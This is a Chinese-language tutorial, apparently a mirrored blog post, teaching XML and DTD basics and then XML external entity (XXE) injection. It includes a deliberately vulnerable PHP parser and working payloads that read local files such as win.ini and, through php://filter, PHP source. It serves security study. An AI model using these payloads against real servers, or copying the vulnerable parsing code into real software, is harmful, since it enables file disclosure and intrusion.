zoukankan      html  css  js  c++  java
  • 08 XXE漏洞

    8-1.XML快速入门
    1)XML介绍及用途
    XML被设计用来传输和存储数据。XML文档形成了一种树结构,它从"根部"开始,然后扩展到"枝叶"。XML允许创作者定义自己的标签和自己的文档结构。
    <?xml version="1.0" encoding="UTF-8"?>
    <note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend!</body>
    </note>
    2)XML语法规则
    XML语法规则:
    1、所有的XML元素都必须有一个关闭标签
    2、XML标签对大小写敏感
    3、XML必须正确嵌套
    4、XML属性值必须加引号
    5、实体引用
    6、在XML中,空格会被保留
    3)XML元素介绍
    XML元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。
    每个元素又可以有对应的属性。XML属性必须加引号
    在1)中的代码可注意到:
    XML文档必须有一个根元素
    XML元素都必须有一个关闭标签
    XML标签对大小写敏感
    XML元素必须被正确的嵌套
    XML属性值必须加引号
    4)XML DTD介绍
    拥有正确语法的XML被称为"形式良好"的XML。通过DTD验证的XML是"合法"的XML。
    <?xml version="1.0" ?>
    <!DOCTYPE note[
    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    ]>
    <note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend!</body>
    </note>

    8-2.DTD快速入门
    1)DTD声明类型
    内部的DOCTYPE声明:<!DOCTYPE root-element [element-declarations]>
    <?xml version="1.0" ?>
    <!DOCTYPE note[
    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    ]>
    <note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend!</body>
    </note>

    外部文档声明:假如DTD位于XML源文件的外部,那么它应通过下面的语法被封装在一个DOCTYPE定义中:<!DOCTYPE root-element SYSTEM "filename">

    <?xml version="1.0"?>
    <!DOCTYPE note SYSTEM "note.dtd">
    <note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend!</body>
    </note>

    其中note.dtd
    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    2)DTD数据类型
    PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
    CDATA的意思是字符数据。CDATA是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
    3)DTD实体介绍
    实体是用于定义引用普通文本或特殊字符的快捷方式的变量
    内部实体:<!ENTITY entity-name "entity-value">
    外部实体:<!ENTITY entity-name SYSTEM "URI/URL">
    4)XML注入产生原理
    XXE漏洞全称XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
    xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
    8-3.简单XXE漏洞代码编写
    1)file_get_content函数介绍
    file_get_contents()函数把整个文件读入一个字符串中。

    2)php://input介绍
    php://input 是个可以访问请求的原始数据的只读流。
    结合file_get_contents("php://input")可以读取POST提交的数据。
    案例说明:输出POST提交的内容。

    3)simplexml_load_string函数介绍
    php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement
    例如:
    $note = <<<XML<note> <to>Tove</to> <from>Jani</from>
    <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>XML;
    $xml=simplexml_load_string($note);
    print_r($xml);
    4)XML注入回显 输出函数
    在PHP中可以使用print_r()、echo输出想要输出的内容。
    给出完整存在XXE漏洞代码:
    <?php
    $xml=file_get_contents("php://input");
    $data=simplexml_load_string($xml);
    echo "<pre>";
    print_r($data); //注释掉该语句即为无回显得情况
    echo "</pre>"
    ?>

    读取本地文件payload:
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe[
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">]>
    <root>
    <name>&xxe;</name>
    </root>

    8-4.XXE漏洞简单利用-任意文件读取
    1)测试代码介绍
    <?php
    $xml=file_get_contents("php://input");
    $data=simplexml_load_string($xml);
    echo "<pre>";
    print_r($data); //注释掉该语句即为无回显的情况
    ?>
    2)php中测试POC
    file:///path/to/file.ext
    http://url/file.ext
    php://filter/read=convert.base64-encode/resource=conf.php
    3)读取文本文档
    有回显的XXE利用:
    Payload:
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///c://test/flag.txt">]>
    <value>&xxe;</value>
    4)读取PHP文件
    直接利用file协议读取PHP文件会出现错误,那么需要使用base64编码来进行读取。
    Payload:
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=test.php">]>
    <value>&xxe;</value>

  • 相关阅读:
    express基础介绍
    gruntjs
    小写转换大写(人民币)
    Elasticsearch学习系列之多文档操作mget
    java.util.Date和java.sql.Date的使用方法,转载
    spring学习IOC
    oracle10g手动创建scott(tiger)的方法(转)
    观察者模式
    简单工厂,工厂模式,抽象工厂
    win7主机+winxp虚拟机,虚拟机使用主机的无线网卡(转)
  • 原文地址:https://www.cnblogs.com/Ben-john/p/14635471.html
Copyright © 2011-2022 走看看